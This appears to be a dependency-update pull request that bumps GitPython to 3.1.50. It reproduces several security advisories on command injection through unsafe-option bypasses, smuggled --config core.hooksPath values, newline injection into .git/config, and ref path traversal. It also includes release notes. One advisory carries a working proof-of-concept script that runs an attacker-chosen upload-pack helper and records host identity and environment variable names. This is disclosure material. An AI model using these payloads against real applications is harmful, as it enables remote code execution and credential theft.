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GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=... becomes --upload-pack=...
receive_pack=... becomes --receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
remote.fetch(upload_pack=helper) is allowed and reaches helper execution
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
Create and activate a virtual environment in the repository root:
make a new python file and put the following in there, then run it:
importosimportstatimportsubprocessimporttempfilefromgitimportRepofromgit.excimportUnsafeOptionError##### Setup: create isolated repositories so the PoC uses a normal fetch flow.base=tempfile.mkdtemp(prefix="gp-poc-risk-")
origin=os.path.join(base, "origin.git")
producer=os.path.join(base, "producer")
victim=os.path.join(base, "victim")
proof=os.path.join(base, "proof.txt")
wrapper=os.path.join(base, "wrapper.sh")
##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work##### you could also do something like an SSH reverse shell, really anythingwithopen(wrapper, "w") asf:
f.write(f"""#!/bin/sh{{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@​"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true}} > '{proof}'exec git-upload-pack "$@​"""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
withopen(os.path.join(producer, "README"), "w") asf:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo=Repo(victim)
remote=repo.remote("origin")
##### the literal Git option name is properly blocked.try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
exceptUnsafeOptionError:
print("control=blocked")
##### this is the actual vulnerability##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact##### if you do the "touch /tmp/proof" the script will crash, but the file will have been createdremote.fetch(upload_pack=wrapper)
##### Proof: the helper ran as the GitPython host process.print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
Expected result:
The script prints control=blocked
The script prints proof_exists True ...
The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Impact
Who is impacted:
Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )
What the attacker needs to control:
A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()
From a severity perspective, this could lead to
Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
Modification of repositories, build outputs, or release artifacts
Lateral movement from CI/CD workers or automation hosts
Full compromise of the worker or service process handling repository operations
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.
multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked
Hook executed: True
texugo
DESKTOP-5w5HH79
Impact
Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.
📦 Affected Versions
Affected: <= 3.1.46 and current main (3.1.47 in local checkout)
🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.
GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.
Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:
importreifisinstance(value, (str, bytes)) andre.search(r"[\r\n\x00]", str(value)):
raiseValueError("Git config values must not contain CR, LF, or NUL")
Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
defset_value(self, section: str, option: str, value) ->"GitConfigParser":
value_str=self._value_to_string_safe(value) # only value is validatedifnotself.has_section(section):
self.add_section(section) # section not validatedsuper().set(section, option, value_str) # option not validatedreturnself
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
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changed the title
Update dependency gitpython to v3.1.47 [SECURITY]
Update dependency gitpython to v3.1.47 [SECURITY] - autoclosed
Apr 27, 2026
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changed the title
Update dependency gitpython to v3.1.47 [SECURITY]
Update dependency gitpython to v3.1.48 [SECURITY]
May 8, 2026
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changed the title
Update dependency gitpython to v3.1.48 [SECURITY]
Update dependency gitpython to v3.1.49 [SECURITY]
May 8, 2026
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changed the title
Update dependency gitpython to v3.1.49 [SECURITY]
Update dependency gitpython to v3.1.50 [SECURITY]
May 9, 2026
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This PR contains the following updates:
3.1.45→3.1.50GitPython has Command Injection via Git options bypass
CVE-2026-42215 / GHSA-rpm5-65cw-6hj4
More information
Details
Summary
GitPython blocks dangerous Git options such as
--upload-packand--receive-packby default, but the equivalent Python kwargsupload_packandreceive_packbypass that check. If an application passes attacker-controlled kwargs intoRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push(), this leads to arbitrary command execution even whenallow_unsafe_optionsis left at its default value ofFalse.Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198That validation is performed by
Git.check_unsafe_options()ingit/cmd.py:948-961. The validator correctly blocks option names such asupload-pack,receive-pack, andexec.Later, GitPython converts Python kwargs into Git command-line flags in
Git.transform_kwarg()atgit/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper executionThe same bypass works for:
This does not appear to affect every unsafe option. For example,
exec=is already rejected because the raw kwarg nameexecmatches the blocked option name before normalization.Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activatecontrol=blockedproof_exists True ...id, working directory, argv, and selected environment variable namesExample output:
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into
--upload-pack.Impact
Who is impacted:
**kwargsWhat the attacker needs to control:
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()From a severity perspective, this could lead to
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe option check validates multi_options before shlex.split transformation
CVE-2026-42284 / GHSA-x2qx-6953-8485
More information
Details
Summary
_clone()validatesmulti_optionsas the original list, then executesshlex.split(" ".join(multi_options)). A string like"--branch main --config core.hooksPath=/x"passes validation (starts with--branch), but after split becomes["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.Details
The vulnerable code is in
git/repo/base.pyline 1383:Then validation runs on the original list at line 1390:
Then execution uses the transformed result at line 1392:
The check at
git/cmd.pyline 959 usesstartswith:"--branch main --config ..."does not start with"--config", so it passes. Aftershlex.split,"--config"becomes its own token and reaches git.Also affects
Submodule.update()viaclone_multi_options.PoC
Output:
Impact
Any application passing user input to
multi_optionsinclone_from(),clone(), orSubmodule.update()is vulnerable. Attacker embeds--config core.hooksPath=<dir>inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository
CVE-2026-44243 / GHSA-7545-fcxq-7j24
More information
Details
🧾 Summary
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s
.gitdirectory via insufficient validation of reference paths in reference creation, rename, and delete operations.📦 Affected Versions
<= 3.1.46and currentmain(3.1.47in local checkout)🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid()rejects traversal sequences such as.., butSymbolicReference.create,Reference.create,SymbolicReference.set_reference,SymbolicReference.rename, andSymbolicReference.deletestill construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.Affected Code
Attack Vector
Local attack through application-controlled input passed into GitPython reference APIs
Authentication Required
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
🧪 Proof of Concept
Setup
Exploit
Result
💥 Impact
What can an attacker do?
Security Impact
Who is affected?
🛠️ Mitigation / Fix
Recommended Fix
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:PReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
CVE-2026-44244 / GHSA-v87r-6q3f-2j67
More information
Details
GitConfigParser.set_value()passes values to Python'sconfigparserwithout validating for newlines. GitPython's own_write()converts embedded newlines into indented continuation lines (e.g.\nbecomes\n\t), but Git still accepts an indented[core]stanza as a section header — so the injectedcore.hooksPathbecomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented
[core]stanza as a section header, so the injectedcore.hooksPathbecomes effective configuration.This was found while auditing MLRun's
project.push()method, which passesauthor_nameandauthor_emaildirectly toconfig_writer().set_value()with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in.git/config.PoC (standalone, no MLRun required):
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply
author_nameorauthor_emailto an application callingconfig_writer().set_value()can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the.git/configof a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.Remediation:
set_value()should raise on CR, LF, or NUL in values rather than silently pass them through:Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever
config_writer().set_value(section, key, user_input)is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing theirset_value()call sites for externally influenced inputs.Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath
GHSA-mv93-w799-cj2w
More information
Details
Summary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
Severity
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
gitpython-developers/GitPython (gitpython)
v3.1.50Compare Source
What's Changed
335c0f6to53c94d6by @dependabot[bot] in #2141New Contributors
Full Changelog: gitpython-developers/GitPython@3.1.49...3.1.50
v3.1.49: - SecurityCompare Source
What's Changed
Full Changelog: gitpython-developers/GitPython@3.1.48...3.1.49
v3.1.48: - SecurityCompare Source
Accidentally deleted the previous GH release, it did mention the advisory this fixes.
What's Changed
Full Changelog: gitpython-developers/GitPython@3.1.47...3.1.48
v3.1.47: - with security fixesCompare Source
Advisories
What's Changed
335c0f6to4c63ee6by @dependabot[bot] in #20964c63ee6to5c1b303by @dependabot[bot] in #2106gc.collect()twice intest_renameon Python 3.12 by @EliahKagan in #2109Repo.active_branchresolution for reftable-backed repositories by @Copilot in #2114with_stdout=Falseby @ngie-eign in #2126shlexby @Byron in #2130New Contributors
Full Changelog: gitpython-developers/GitPython@3.1.46...3.1.47
v3.1.46Compare Source
What's Changed
335c0f6to39d7dbfby @dependabot[bot] in #206839d7dbftof8fdfecby @dependabot[bot] in #2071SymbolicReference.referenceproperty by @emmanuel-ferdman in #2074f8fdfecto65321a2by @dependabot[bot] in #2082mypy==1.18.2by @George-Ogden in #2087os.Pathlikeby @George-Ogden in #208665321a2to4c63ee6by @dependabot[bot] in #2093PathlikeObject to Tree by @George-Ogden in #2094New Contributors
Full Changelog: gitpython-developers/GitPython@3.1.45...3.1.46
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